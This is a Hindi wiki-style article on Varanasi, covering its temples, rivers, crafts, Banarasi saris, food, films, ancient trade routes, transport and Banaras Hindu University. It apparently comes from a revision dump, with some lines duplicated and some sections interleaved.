सात प्रकार के शिव मंदिर, रथ का समरूप बनाते हैं। ये हैं- गोकर्णेश्वर, सुलतानकेश्वर, मणिकर्णेश्वर, भारभूतेश्वर, विश्वेश्वर, मध्यमेश्वर तथा ओंकारेश्वर। इस आकार में भी [[गंगा नदी]] की महत्त्वपूर्ण भूमिका है।  
 
;शंखाकार
 
;शंखाकार
यहाँ भी मंदिरों की स्थिति के समरूप आकार माना गया है और गंगा नदी यह आकार निर्धारित करती है। इस आकार को बनाने वाले मंदिर हैं- उत्तर पश्चिम में विध्नराज और विनायक, उत्तर में शैलेश्वर, दक्षिण पूर्व में केदारेश्वर और दक्षिण में लोलार्क।  
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यहाँ भी मंदिरों की स्थिति के समरूप आकार माना गया है और गंगा नदी यह आकार निर्धारित करती है। इस आकार को बनाने वाले मंदिर हैं- उत्तर पश्चिम में विध्नराज और विनायक, उत्तर में शैलेश्वर, दक्षिण पूर्व में केदारेश्वर और दक्षिण में लोलार्क।
====धरातल की संरचना====
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[[चित्र:Varanasi-Ghat-2.jpg|thumb|300pxl|वाराणसी घाट]]
वाराणसी के धरातल की संरचना ठोस कंकड़ों से हुई हैं। आधुनिक राजघाट का चौरस मैदान जहाँ नदी-नालों के कटाव नहीं मिलते, शहर बसाने के लिए उपयुक्त था। वाराणसी शहर के उत्तर में वरुणा और दक्षिण में अस्सी नाला है, उत्तर-पश्चिम की ओर यद्यपि ऐसा कोई प्राकृतिक साधन (पहाड़ियाँ, झील, नदी इत्यादि) नहीं है जिससे नगर की सुरक्षा हो सके, तथापि यह निश्चित है कि काशी के समीपवर्ती गहन वन, जिनका उल्लेख जातकों, जैन एवं पौराणिक ग्रंथों में आया है, काशी की सुरक्षा में महत्त्वपूर्ण भूमिका अदा करते रहे होंगे।<ref>मोतीचंद्र, काशी का इतिहास, पृष्ठ 2</ref>
 
 
==वाराणसी की नदियाँ==
 
==वाराणसी की नदियाँ==
 
{{मुख्य|वाराणसी की नदियाँ}}
 
{{मुख्य|वाराणसी की नदियाँ}}
वाराणसी का विस्तार गंगा नदी के दो संगमों वरुणा और असी नदी से संगम के बीच बताया जाता है। इन संगमों के बीच की दूरी लगभग 2.5 मील है। इस दूरी की परिक्रमा [[हिन्दू धर्म|हिन्दुओं]] में पंचकोसी यात्रा या पंचकोसी परिक्रमा कहलाती है। वाराणसी ज़िले की नदियों के विस्तार से अध्ययन करने पर यह ज्ञात होता है कि वाराणसी में तो प्रस्रावक नदियाँ है लेकिन चंदौली में नहीं है जिससे उस ज़िले में झीलें और दलदल हैं, अधिक बरसात होने पर गाँव पानी से भर जाते हैं तथा फ़सल को काफ़ी नुक़सान पहुँचता है।  
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वाराणसी का विस्तार गंगा नदी के दो संगमों वरुणा और असी नदी से संगम के बीच बताया जाता है। इन संगमों के बीच की दूरी लगभग 2.5 मील है। इस दूरी की परिक्रमा [[हिन्दू धर्म|हिन्दुओं]] में पंचकोसी यात्रा या पंचकोसी परिक्रमा कहलाती है। वाराणसी ज़िले की नदियों के विस्तार से अध्ययन करने पर यह ज्ञात होता है कि वाराणसी में तो प्रस्रावक नदियाँ है लेकिन [[चंदौली]] में नहीं है जिससे उस ज़िले में झीलें और दलदल हैं, अधिक बरसात होने पर गाँव पानी से भर जाते हैं तथा फ़सल को काफ़ी नुक़सान पहुँचता है।  
 
====गंगा====
 
====गंगा====
[[चित्र:Ganga-River-Varanasi-9.jpg|[[गंगा नदी]], वाराणसी|thumb|250px]]
 
 
{{मुख्य|गंगा नदी}}
 
{{मुख्य|गंगा नदी}}
गंगा का वाराणसी की प्राकृतिक रचना में मुख्य स्थान है। गंगा वाराणसी में गंगापुर के बेतवर गाँव से पहले घुसती है। यहाँ पर इससे सुबहा नाला आ मिला है। वाराणसी को वहाँ से प्राय: सात मील तक गंगा मिर्ज़ापुर ज़िले से अलग करती है और इसके बाद वाराणसी ज़िले में वाराणसी और चन्दौली को विभाजित करती है। गंगा की धारा अर्ध-वृत्ताकार रूप में वर्ष भर बहती है। इसके बाहरी भाग के ऊपर करारे पड़ते हैं और भीतरी भाग में बालू अथवा बाढ़ की मिट्टी मिलती है। गंगा का रुख़ पहले उत्तर की तरफ़ होता हुआ रामनगर के कुछ आगे तक देहात अमानत को राल्हूपुर से अलग करता है। यहाँ पर किनारा कंकरीला है और नदी उसके ठीक नीचे बहती है। यहाँ तूफ़ान में नावों को काफ़ी खतरा रहता है। देहात अमानत में गंगा का बांया किनारा मुंडादेव तक चला गया है। इसके नीचे की ओर वह रेत में परिणत हो जाता है और बाढ़ में पानी से भर जाता है। रामनगर छोड़ने के बाद गंगा की उत्तर-पूर्व की ओर झुकती दूसरी केहुनी (कमान, तरफ़) शुरू होती है। धारा यहाँ बायें किनारे से लगकर बहती है।  
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गंगा का वाराणसी की प्राकृतिक रचना में मुख्य स्थान है। गंगा वाराणसी में गंगापुर के बेतवर गाँव से पहले घुसती है। यहाँ पर इससे सुबहा नाला आ मिला है। वाराणसी को वहाँ से प्राय: सात मील तक गंगा मिर्ज़ापुर ज़िले से अलग करती है और इसके बाद वाराणसी ज़िले में वाराणसी और चन्दौली को विभाजित करती है। गंगा की धारा अर्ध-वृत्ताकार रूप में वर्ष भर बहती है। इसके बाहरी भाग के ऊपर करारे पड़ते हैं और भीतरी भाग में बालू अथवा बाढ़ की मिट्टी मिलती है। गंगा का रुख़ पहले उत्तर की तरफ़ होता हुआ रामनगर के कुछ आगे तक देहात अमानत को राल्हूपुर से अलग करता है। यहाँ पर किनारा कंकरीला है और नदी उसके ठीक नीचे बहती है। यहाँ तूफ़ान में नावों को काफ़ी ख़तरा रहता है। देहात अमानत में गंगा का बांया किनारा मुंडादेव तक चला गया है। इसके नीचे की ओर वह रेत में परिणत हो जाता है और बाढ़ में पानी से भर जाता है। रामनगर छोड़ने के बाद गंगा की उत्तर-पूर्व की ओर झुकती दूसरी केहुनी (कमान, तरफ़) शुरू होती है। धारा यहाँ बायें किनारे से लगकर बहती है।  
====बानगंगा====
 
{{मुख्य|बानगंगा नदी}}
 
'''रामगढ़ में बानगंगा के तट पर वैरांट नामक स्थल के प्राचीन खंडहरों की स्थिति है, जो महत्त्वपूर्ण है।''' लोक कथाओं के अनुसार यहाँ एक समय प्राचीन वाराणसी बसी थी। सबसे पहले बैरांट के खंडहरों की जांच पड़ताल कार्लाईल 2 ने की। वैरांट की स्थिति गंगा के दक्षिण में सैदपुर से दक्षिण-पूर्व में और वाराणसी के उत्तर-पूर्व में क़रीब 16 मील और ग़ाज़ीपुर के दक्षिण-पश्चिम क़रीब 12 मील है। वैरांट के खंडहर बानगंगा के वर्तुलाकार दक्षिण-पूर्वी किनारे पर हैं।
 
{{वाराणसी चित्र सूची2}}
 
 
 
 
==अर्थव्यवस्था==
 
==अर्थव्यवस्था==
 
====उद्योग और व्यापार====
 
====उद्योग और व्यापार====
 
{{मुख्य|वाराणसी का व्यापार}}
 
{{मुख्य|वाराणसी का व्यापार}}
[[चित्र:Bangles-Varanasi.jpg|[[चूड़ी|चूड़ियों]] का दृश्य, वाराणसी|thumb|250px]]
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वाराणसी कला, हस्तशिल्प, संगीत और नृत्य का भी केन्द्र है। यह शहर रेशम, सोने व चाँदी के तारों वाले ज़री के काम, लकड़ी के खिलौनों, काँच की चूड़ियों, हाथी दाँत और पीतल के काम के लिए प्रसिद्ध है। यहाँ के प्रमुख उद्योगों में रेल इंजन निर्माण इकाई शामिल है।{{दाँयाबक्सा|पाठ=[[काशी]] को 'महाश्‍मशान' के नाम से भी जाना जाता है। इसे पृथ्वी की सबसे बड़ी शमशान भूमि माना जाता था। यहाँ के मणिकर्णिका घाट तथा हरिश्‍चंद्र घाट को सबसे पवित्र घाट माना जाता है।|विचारक=}}वाराणसी के कारीगरों के कला- कौशल की ख्याति सुदूर प्रदेशों तक में रही है। वाराणसी आने वाला कोई भी यात्री यहाँ के रेशमी [[किमखाब]] तथा ज़री के वस्त्रों से प्रभावित हुए बिना नहीं रह सकता। यहाँ के बुनकरों की परंपरागत कुशलता और कलात्मकता ने इन वस्तुओं को संसार भर में प्रसिद्धि और मान्यता दिलायी है । विदेश व्यापार में इसकी विशिष्ट भूमिका है । इसके उत्पादन में बढ़ोत्तरी और विशिष्टता से विदेशी मुद्रा अर्जित करने में बड़ी सफलता मिली है । रेशम तथा ज़री के उद्योग के अतिरिक्त, यहाँ पीतल के बर्तन तथा उन पर मनोहारी काम और संजरात (झांझ मझीरा) उद्योग भी अपनी कला और सौंदर्य के लिए विख्यात हैं । इसके अलावा यहाँ के लकड़ी के खिलौने भी दूर- दूर तक प्रसिद्ध हैं, जिन्हें कुटीर उद्योगों में महत्त्वपूर्ण स्थान प्राप्त हैं ।
वाराणसी कला, हस्तशिल्प, संगीत और नृत्य का भी केन्द्र है। यह शहर रेशम, सोने व चाँदी के तारों वाले ज़री के काम, लकड़ी के खिलौनों, काँच की चूड़ियों, हाथी दाँत और पीतल के काम के लिए प्रसिद्ध है। यहाँ के प्रमुख उद्योगों में रेल इंजन निर्माण इकाई शामिल है।{{बाँयाबक्सा|पाठ=[[काशी]] को 'महाश्‍मशान' के नाम से भी जाना जाता है। इसे पृथ्वी की सबसे बड़ी शमशान भूमि माना जाता था। यहाँ के मणिकर्णिका घाट तथा हरिश्‍चंद्र घाट को सबसे पवित्र घाट माना जाता है।|विचारक=}}वाराणसी के कारीगरों के कला- कौशल की ख्याति सुदूर प्रदेशों तक में रही है। वाराणसी आने वाला कोई भी यात्री यहाँ के रेशमी [[किमखाब]] तथा ज़री के वस्त्रों से प्रभावित हुए बिना नहीं रह सकता। यहाँ के बुनकरों की परंपरागत कुशलता और कलात्मकता ने इन वस्तुओं को संसार भर में प्रसिद्धि और मान्यता दिलायी है । विदेश व्यापार में इसकी विशिष्ट भूमिका है । इसके उत्पादन में बढ़ोत्तरी और विशिष्टता से विदेशी मुद्रा अर्जित करने में बड़ी सफलता मिली है । रेशम तथा ज़री के उद्योग के अतिरिक्त, यहाँ पीतल के बर्तन तथा उन पर मनोहारी काम और संजरात (झांझ मझीरा) उद्योग भी अपनी कला और सौंदर्य के लिए विख्यात हैं । इसके अलावा यहाँ के लकड़ी के खिलौने भी दूर- दूर तक प्रसिद्ध हैं, जिन्हें कुटीर उद्योगों में महत्त्वपूर्ण स्थान प्राप्त हैं ।
 
 
====वाणिज्य और व्यापार का प्रमुख केंद्र====
 
====वाणिज्य और व्यापार का प्रमुख केंद्र====
 
वाराणसी नगर वाणिज्य और व्यापार का एक प्रमुख केंद्र था। स्थल तथा जल मार्गों द्वारा यह नगर भारत के अन्य नगरों से जुड़ा हुआ था। काशी से एक मार्ग [[राजगृह]] को जाता था।<ref>विनयपिटक, जिल्द 1, पृष्ठ 262</ref>  काशी से [[वेरंजा]] जाने के लिए दो रास्ते थे-  
 
वाराणसी नगर वाणिज्य और व्यापार का एक प्रमुख केंद्र था। स्थल तथा जल मार्गों द्वारा यह नगर भारत के अन्य नगरों से जुड़ा हुआ था। काशी से एक मार्ग [[राजगृह]] को जाता था।<ref>विनयपिटक, जिल्द 1, पृष्ठ 262</ref>  काशी से [[वेरंजा]] जाने के लिए दो रास्ते थे-  
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दूसरा मार्ग बनारस से [[वैशाली]] को चला जाता था।<ref>मोतीचंद्र, काशी का इतिहास, पृष्ठ 49</ref> वाराणसी का एक सार्थवाह पाँच सौ गाड़ियों के साथ प्रत्यंत देश गया था और वहाँ से [[चंदन]] लाया था।<ref>सुत्तनिपात, अध्याय 2, पृष्ठ 523</ref>
 
दूसरा मार्ग बनारस से [[वैशाली]] को चला जाता था।<ref>मोतीचंद्र, काशी का इतिहास, पृष्ठ 49</ref> वाराणसी का एक सार्थवाह पाँच सौ गाड़ियों के साथ प्रत्यंत देश गया था और वहाँ से [[चंदन]] लाया था।<ref>सुत्तनिपात, अध्याय 2, पृष्ठ 523</ref>
{{वाराणसी चित्र सूची}}
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==कला और संस्कृति==
==मनोरंजन==
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{{Main|वाराणसी की संस्कृति}}  
====फ़िल्में====
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वाराणसी की [[कला]] और [[संस्कृति]] अद्वितीय है। यह वाराणसी की समृद्ध सांस्कृतिक परंपरा है जिसकी वजह से यह [[भारत]] की सांस्कृतिक राजधानी कहलाती है। [[पुरातत्त्व]], पौराणिक कथाओं, [[भूगोल]], कला और [[इतिहास]] का एक संयोजन वाराणसी [[भारतीय संस्कृति]] को एक महान् केंद्र बनाता है। हालांकि वाराणसी मुख्य रूप से [[हिंदू धर्म]] और [[बौद्ध धर्म]] के साथ जुड़ा हुआ है, लेकिन वाराणसी में पूजा और धार्मिक संस्थाओं के कई धार्मिक विश्वासों की झलक पा सकते हैं।
भारतीय सिनेमा में वाराणसी की संस्कृति और उसकी पृष्ठभूमि पर आधारित कई फ़िल्मों का महत्त्वपूर्ण योगदान है। जिनमें से कुछ प्रमुख फ़िल्में निम्नलिखित हैं-
 
[[चित्र:Mystic-Love-Story.jpg|thumb|120px|बनारस – ए मिस्टिक लव स्टोरी]]
 
; बनारस – ए मिस्टिक लव स्टोरी
 
  
'''बनारस – ए मिस्टिक लव स्टोरी''' बनारस शहर में बनी एक [[हिन्दी]] फ़िल्म है। इस फ़िल्म में बनारस की गलियों, घाटों और मंदिरों को एक प्रेम कहानी में पिरोया गया है। आठ करोड़ की लागत वाली इस फ़िल्म में नसीरुद्दीन शाह, डिंपल कपाड़िया, उर्मिला मातोंडकर, अस्मित पटेल और आकाश खुराना ने प्रमुख भूमिकाएँ निभाई हैं। [[चित्र:Joi-Baba-Felunath.jpg|thumb|left|120px|जोइ बाबा फेलुनाथ]] 
+
वाराणसी, भारतीय कला और संस्कृति का पूरा एक संग्रहालय प्रस्तुत करता है। वाराणसी में इतिहास के पाठ्यक्रम में बदलते पैटर्न और आंदोलनों को महसूस कर सकते हैं। सदियों से वाराणसी ने मास्टर कारीगरों का उत्पादन किया है और और अपनी सुंदर साड़ी, हस्तशिल्प, वस्त्र, खिलौने, गहने, धातु का काम, मिट्टी और लकड़ी और अन्य शिल्प के लिए नाम और प्रसिद्धि अर्जित की है।
  
; जोइ बाबा फेलुनाथ
+
वाराणसी ने कई प्रसिद्ध विद्वानों और बुद्धिजीवियों, जो गतिविधि के संबंधित क्षेत्रों में अपनी छाप छोड़ गये है, को जन्म दिया है। वाराणसी, एक अद्वितीय सामाजिक और सांस्कृतिक कपड़े प्रस्तुत करता है। [[संगीत]], नाटक, और मनोरंजन  वाराणसी के साथ पर्याय रहे है। बनारस लंबे समय से अपने संगीत, मुखर और वाद्य दोनों के लिए प्रसिद्ध रहा है और अपने खुद के नृत्य परंपराओं, वाराणसी लोक संगीत और नाटक, मेलों और त्योहारों, अखाड़े, खेल आदि का एक बहुत ही पुराना केन्द्र रहा है।
'''जोइ बाबा फेलुनाथ''' ([[1979]]) [[भारत रत्न]] सम्मानित निर्देशक [[सत्यजीत रे]] द्वारा निर्देशित एक बांग्ला फ़िल्म है। इस फ़िल्म के अभिनेता सौमित्र चटर्जी, संतोष दत्ता, सिद्दार्थ चटर्जी, [[उत्पल दत्त]] आदि हैं। यह फ़िल्म सत्यजीत राय के प्रसिद्ध उपन्यास '''फ़ेलुदा''' पर आधारित है।
+
====संगीत====
[[चित्र:Khaike paan.jpg|thumb|120px|खई के पान बनारस वाला]]
+
{{Main|वाराणसी का संगीत}}
; डॉन (1978)
+
*वाराणसी गायन एवं वाद्य दोनों ही विद्याओं का केंद्र रहा है।  
[[1978]] की सुपरहिट [[हिन्दी]] फ़िल्म डॉन का गाना '''खई के पान बनारस वाला''' [[अमिताभ बच्चन]] के साथ '''बनारसी पान''' की प्रशंसा में गाया गया था और बहुत लोकप्रिय हुआ था।
+
*सुमधुर ठुमरी भारतीय कंठ संगीत को वाराणसी की विशेष देन है।  
==खानपान==
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*इसमें धीरेंद्र बाबू, बड़ी मोती, छोती मोती, सिद्धेश्वर देवी, रसूलन बाई, काशी बाई, अनवरी बेगम, शांता देवी तथा इस समय [[गिरिजा देवी]] आदि का नाम समस्त [[भारत]] में बड़े गौरव एवं सम्मान के साथ लिया जाता है।
[[चित्र:Paan-Wala-Varanasi.jpg|thumb|पान वाला, वाराणसी]]
+
 
वाराणसी में बहुत से भोजनालय हैं जहाँ पर स्वादिष्ट भोजन मिलता है।  
+
====बनारसी साड़ी====
;जयपुरिया होटल
 
जयपुरिया होटल वाराणसी में गोदौलिया चौक के पास स्थित है। इस होटल में बहुत स्‍वादिष्‍ट भोजन मिलता है। यहाँ पर ख़ास थाली मिलती है। इसमें तीन सब्‍जी, दाल, कढ़ी, रोटी, चावल, सलाद तथा पापड़ होता है। इस भोजनालय की ख़ास बात है कि यहाँ भोजन लकड़ी के आग पर बनाया जाता है। इस भोजन को बनाने में प्‍याज और लहसुन का भी उपयोग नहीं होता है।     
 
;कचौड़ी-सब्‍जी
 
वाराणसी के लोग नाश्‍ते में बहुधा कचौड़ी-सब्‍जी खाना पसंद करते हैं। यहाँ के लोग कचौड़ी-सब्‍जी के साथ जलेबी खाते हैं।
 
;विश्‍वनाथ साहब होटल
 
विश्‍वनाथ साहब होटल गोदौलिया चौक के पास स्थित है। यहाँ देशी घी की कचौड़ी-सब्‍जी प्रसिद्ध है। इस होटल के पास 'काशी चाट भंडार' है। काशी चाट भंडार की चाट बहुत स्‍वादिष्‍ट होती है।
 
;बनारसी पान
 
{{मुख्य|पान}}
 
बनारसी पान दुनिया भर में मशहूर है। बनारसी पान चबाना नहीं पड़ता। यह मुँह में जाकर धीरे-धीरे घुलता है और मन को भी सुवासित कर देता है। वाराणसी आने वालों में पान खाने का शौक़ रखने वाले को '''बनारसी पान''' ज़रुर खाना चाहिए। [[हिन्दी]] की सुपरहिट फ़िल्म डॉन का गाना '''खई के पान बनारस वाला''' जो [[अमिताभ बच्चन]] पर चित्रांकित किया गया था, '''बनारसी पान''' की प्रशंसा में गाया गया था और बहुत लोकप्रिय हुआ था।
 
==बनारसी साड़ी==
 
 
{{Main|बनारसी साड़ी}}
 
{{Main|बनारसी साड़ी}}
 
*बनारसी साड़ियों दुनियाभर में प्रसिद्ध हैं। [[लाल रंग|लाल]], [[लाल रंग|हरी]] और अन्य गहरे [[रंग|रंगों]] की ये साड़ियां [[हिंदू]] परिवारों में किसी भी शुभ अवसर के लिए आवश्यक मानी जाती हैं।  
 
*बनारसी साड़ियों दुनियाभर में प्रसिद्ध हैं। [[लाल रंग|लाल]], [[लाल रंग|हरी]] और अन्य गहरे [[रंग|रंगों]] की ये साड़ियां [[हिंदू]] परिवारों में किसी भी शुभ अवसर के लिए आवश्यक मानी जाती हैं।  
 
*उत्तर भारत में अधिकांश बेटियाँ बनारसी साड़ी में ही विदा की जाती हैं।  
 
*उत्तर भारत में अधिकांश बेटियाँ बनारसी साड़ी में ही विदा की जाती हैं।  
 
*बनारसी साड़ियों की कारीगरी सदियों पुरानी है।  
 
*बनारसी साड़ियों की कारीगरी सदियों पुरानी है।  
==कृषि और खनिज==
 
[[चित्र:Cotton-Harvesting.jpg|thumb|150px|कपास चुनती युवती]]
 
====कपास की खेती====
 
वाराणसी नगर को वाणिज्य के क्षेत्र में भी ख्याति प्राप्त था। जातकों से भी विदित होता है कि वाराणसी के बहुमूल्य, रंगीन, सुगंधित, सुवासित, पतले एवं चिकने कपड़े विक्रय के लिए सुदूर देशों में भेजे जाते थे। '''काशी में बने वस्त्रों को ‘काशी कुत्तम''',<ref>जातक, खंड 6 सं. 539 (महाजनक जातक)</ref> '''और ‘कासीय’'''<ref>तत्रैव, खंड 6, संख्या 547 (महावेसत्त जातक)</ref> '''भी कहते थे।''' संभवत: इन शब्दों का प्रयोग गुणवाचक संदर्भ में किया गया है। ऐसा समझा जाता है कि एक समय वाराणसी के आसपास कपास की अच्छी खेती होती थी। तुंडिल जातक में<ref>तत्रैव भाग 3 पृष्ठ 286 मोतीचंद्र, काशी का इतिहास, पृष्ठ 47</ref> '''वाराणसी के आसपास कपास के खेतों का वर्णन मिलता है।''' एक जातक में वैराग्य लेने वाले पति के मन को आकर्षित करने के लिए उसकी पत्नी चंदन से सुवासित बनारसी रेशमी साड़ी पहनने की प्रतिज्ञा करती है।<ref>जातक संख्या 457 देखें, उदयनारायण राय, प्राचीन भारत में नगर तथा नगर जीवन, पृष्ठ 126</ref> महाहंस जातक में [[काशिराज]] के घर में विद्यमान बहुमूल्य सामग्रियों में रत्न, सोना, चाँदी, मोती, बिल्लौर, मणि, शंख, वस्त्र, हाथीदाँत, बर्तन और ताँबा इत्यादि प्रमुख थे।<poem><ref>यं किंविरतनं अत्थि कासिराज निवेसने।
 
रजतं जातरूपन्चं मुक्ता बेलुरिया बहु।
 
मणयो संखमुत्तन्य वत्थकं हरिचंदनं।
 
अजिनं दत्त भंडन्य लोहं, कालायनं बहु॥ जातक, भाग 5 (सं. 534) पृष्ठ 462</ref></poem>
 
 
==यातायात और परिवहन==
 
किसी नगर के विकास का एक मुख्य कारण यातायात के साधन हैं। बहुत प्राचीन काल से वाराणसी में यातायात की अच्छी सुविधा रही है। यात्रियों के आराम पर बनारसवासियों का काफ़ी ध्यान था। बनारसवासी सड़कों पर जानवरों के लिए पानी का भी प्रबंध करते थे। जातकों में (जा. 175) एक जगह कहा गया है कि '''काशी जनपद के राजमार्ग पर एक गहरा कुआं था जिसके पानी तक पहुँचने के लिए कोई साधन न था।''' [[चित्र:Lal-Bahadur-Shastri-Airport-Varanasi.jpg|thumb|250px|left|लाल बहादुर शास्त्री हवाई अड्डा, वाराणसी]] '''उस रास्ते से जो लोग जाते थे वे पुण्य के लिए पानी खींचकर एक द्रोणी भर देते थे जिससे जानवर पानी पी सकें।'''
 
वाराणसी हवाई, रेल तथा सड़क मार्ग द्वारा देश के अन्‍य भागों से जुड़ा हुआ है।
 
;हवाई मार्ग
 
वाराणसी का सबसे नज़दीकी हवाई अड्डा बाबतपुर में है। यह वाराणसी से 22  किलोमीटर तथा [[सारनाथ]] से 30 किलोमीटर दूर है। [[दिल्ली]], [[आगरा]], [[खजुराहो]], [[कोलकाता]], [[मुंबई]], [[लखनऊ]], भुवनेश्‍वर तथा काठमांडू से यहाँ के लिए सीधी हवाई सेवा है।
 
;रेल मार्ग
 
[[चित्र:Varanasi-Railway-Station.jpg|thumb|250px|वाराणसी रेलवे स्टेशन]]
 
वाराणसी कैंट तथा मुग़लसराय (वाराणसी के मुख्‍य रेलवे स्‍टेशन से 16 किलोमीटर दूर) यहाँ का मुख्‍य रेल जंक्‍शन है। ये दोनों जंक्‍शन वाराणसी को देश के अन्‍य प्रमुख नगरों से जोड़ते हैं।
 
;सड़क मार्ग
 
वाराणसी सड़क मार्ग द्वारा देश के अन्‍य नगरों से जुड़ा हुआ है। दिल्‍ली से वाराणसी के लिए सीधी बस सेवा है। यहाँ के आई.एस.बी.टी. तथा आनन्‍द विहार बस अड्डे से वाराणसी के लिए बसें चलती हैं। लखनऊ तथा [[इलाहाबाद]] से भी वाराणसी के लिए सीधी बस सेवा है।
 
;सार्वजनिक यातायात
 
वाराणसी शहर के स्थानीय प्रचलित यातायात साधन ऑटो रिक्शा एवं साइकिल रिक्शा हैं। बाहरी क्षेत्रों में नगर-बस सेवा में मिनी-बसें चलती हैं। छोटी नावें और छोटे स्टीमर गंगा नदी पार करने हेतु उपलब्ध रहते हैं।
 
;जल मार्ग
 
वाराणसी के धार्मिक और व्यापारिक प्रभाव का मुख्य कारण इसकी गंगा पर स्थिति होना है। गंगा में बहुत प्राचीन काल से नावें चलती थीं जिनसे काफ़ी व्यापार होता था। वाराणसी से कौशांबी तक जलमार्ग से दूरी 30 [[योजन]] दी हुई है। '''वाराणसी से समुद्र यात्रा भी होती थी।'''[[चित्र:traffic-Varanasi.jpg|thumb|left|250px|बाज़ार का एक दृश्य, वाराणसी]]  एक जातक <ref>जातक 384</ref> में कहा गया है कि '''वाराणसी के कुछ व्यापारियों ने दिसाकाक लेकर समुद्र यात्रा की। यह दिशा काक समुद्र यात्रा के समय किनारे का पता लगाने के लिए छोड़ा जाता था।''' कभी-कभी काशी के राजा भी नावों के बेड़ों में यात्रा करते थे।<ref>(जातक 3/326)</ref>
 
 
[[अलबरूनी]] के समय में <ref>11वीं सदी का आरंभ</ref> बारी <ref>आगरा की एक तहसील</ref> से एक सड़क गंगा के पूर्वी किनारे [[अयोध्या]] पहुँचती थी। बारी से अयोध्या 25 [[फरसंग]] तथा वहां से वाराणसी 20 फरसंग था। यहाँ से [[गोरखपुर]], पटना, [[मुंगेर]] होती हुई यह सड़क [[गंगासागर]] को चली जाती थी। एक यही [[वैशाली]] वाली प्राचीन सड़क है और इसका उपयोग [[सल्तनत युग]] में बहुत होता था।
 
====ग्रैण्ड ट्रंक रोड====
 
[[चित्र:Road-Varanasi.jpg|बाज़ार का दृश्य, वाराणसी|thumb|250px]]
 
सड़क-ए-आजम जिसे हम [[ग्रैण्ड ट्रंक रोड]] कहते हैं, बहुत प्राचीन सड़क है जो [[मौर्य]] काल में पुष्पकलावती से [[पाटलिपुत्र]] होती हुई [[ताम्रलिप्ति]] तक जाती थी। [[शेरशाह]] ने इस सड़क का पुन: उद्धार किया, इस पर सराय बनवाईं और डाक का प्रबंध किया। '''कहते हैं कि यह सड़क-ए-आजम [[बंगाल]] में सोनारगांव से सिंध तक जाती थी और इसकी लम्बाई 1500 कोस थी। यह सड़क वाराणसी से होकर जाती थी।''' इस सड़क की [[अकबर]] के समय में काफ़ी उन्नति हुई और शायद उसी काल में मिर्ज़ामुरात और सैयदराज में सरायें बनी। [[आगरा]] से [[पटना]] तक इस सड़क का वर्णन पीटर मंटी ने 1632 ईं. में किया है। एक सड़क [[दिल्ली]]- [[मुरादाबाद]], बनारस होकर [[पटना]] जाती थी और दूसरी [[आगरा]] - [[इलाहाबाद]] होकर वाराणसी आती थी। इन बड़ी सड़कों के अतिरिक्त बहुत से छोटे-मोटे रास्ते वाराणसी को [[जौनपुर]], ग़ाज़ीपुर और [[मिर्ज़ापुर]] से मिलाते थे।
 
====चौराहों पर सभाएँ====
 
यात्रियों के विश्राम के लिये अक्सर चौराहों पर सभाएँ बनवायी जाती थीं। इनमें सोने के लिए [[आसंदी]] और पानी के घड़े रखे होते थे। इनके चारों ओर दीवारें होती थी और एक ओर फाटक। भीतर ज़मीन पर बालू बिछी होती थी और ताड़ वृक्षों की क़तारें लगी होती थी।
 
  
 
==शिक्षण संस्थान==
 
==शिक्षण संस्थान==
[[चित्र:Banaras-Hindu-University.jpg|thumb|250px|[[काशी हिन्दू विश्वविद्यालय]]]]
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{{Main|वाराणसी में शिक्षा}}
वाराणसी पूर्व से ही विद्या और शिक्षा के क्षेञ में एक अहम प्रचारक और केन्द्रीय संस्था के रूप में स्थापित था। मध्यकाल के दौरान [[उत्तर प्रदेश]] में उदार परम्परा का संचालन था। वाराणसी 'हिन्दू शिक्षा केन्द्र' के रूप में विश्वव्यापक हुआ। वाराणसी के उच्चतर माध्यमिक विद्यालय 'इंडियन सर्टिफिकेट ऑफ़ सैकेंडरी एजुकेशन' <ref>(आई.सी.एस.ई)</ref>, 'केन्द्रीय माध्यमिक शिक्षा बोर्ड' <ref>सी.बी.एस.ई</ref> या 'उत्तर प्रदेश माध्यमिक शिक्षा परिषद' <ref>यू.पी.बोर्ड</ref> से सहबद्ध हैं। प्राचीन काल से ही लोग यहाँ [[दर्शन शास्त्र]], [[संस्कृत]], खगोल शास्त्र, सामाजिक ज्ञान एवं धार्मिक शिक्षा आदि के ज्ञान के लिये आते रहे हैं। '''भारतीय परंपरा में प्रायः वाराणसी को सर्वविद्या की राजधानी कहा गया है।''' वाराणसी में एक जामिया सलाफ़िया भी है, जो सलाफ़ी इस्लामी शिक्षा का केन्द्र है।
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वाराणसी पूर्व से ही विद्या और शिक्षा के क्षेत्र में एक अहम प्रचारक और केन्द्रीय संस्था के रूप में स्थापित था। मध्यकाल के दौरान [[उत्तर प्रदेश]] में उदार परम्परा का संचालन था। वाराणसी 'हिन्दू शिक्षा केन्द्र' के रूप में विश्वव्यापक हुआ। वाराणसी के उच्चतर माध्यमिक विद्यालय 'इंडियन सर्टिफिकेट ऑफ़ सैकेंडरी एजुकेशन' <ref>आई.सी.एस.ई</ref>, 'केन्द्रीय माध्यमिक शिक्षा बोर्ड' <ref>सी.बी.एस.ई</ref> या 'उत्तर प्रदेश माध्यमिक शिक्षा परिषद' <ref>यू.पी.बोर्ड</ref> से सहबद्ध हैं। प्राचीन काल से ही लोग यहाँ [[दर्शन शास्त्र]], [[संस्कृत]], खगोल शास्त्र, सामाजिक ज्ञान एवं धार्मिक शिक्षा आदि के ज्ञान के लिये आते रहे हैं। '''भारतीय परंपरा में प्रायः वाराणसी को सर्वविद्या की राजधानी कहा गया है।''' वाराणसी में एक जामिया सलाफ़िया भी है, जो सलाफ़ी इस्लामी शिक्षा का केन्द्र है।
 
====काशी हिन्दू विश्वविद्यालय====
 
====काशी हिन्दू विश्वविद्यालय====
 
{{मुख्य|काशी हिन्दू विश्वविद्यालय}}
 
{{मुख्य|काशी हिन्दू विश्वविद्यालय}}
काशी हिन्दू विश्वविद्यालय या बनारस हिन्दू विश्वविद्यालय वाराणसी में स्थित एक केन्द्रीय विश्वविद्यालय है। इस विश्वविद्यालय की स्थापना <ref>(बनारस हिन्दू विश्वविद्यालय एक्ट, एक्ट क्रमांक 16, सन 1915)</ref> के अंतर्गत हुई थी। [[मदनमोहन मालवीय|पण्डित मदनमोहन मालवीय]] ने काशी हिन्दू विश्वविद्यालय की स्थापना का प्रारम्भ [[1904]] ई. में किया, जब काशी नरेश 'महाराज प्रभुनारायण सिंह' की अध्यक्षता में संस्थापकों की प्रथम बैठक हुई। [[1905]] ई. में विश्वविद्यालय का प्रथम पाठ्यक्रम प्रकाशित हुआ।
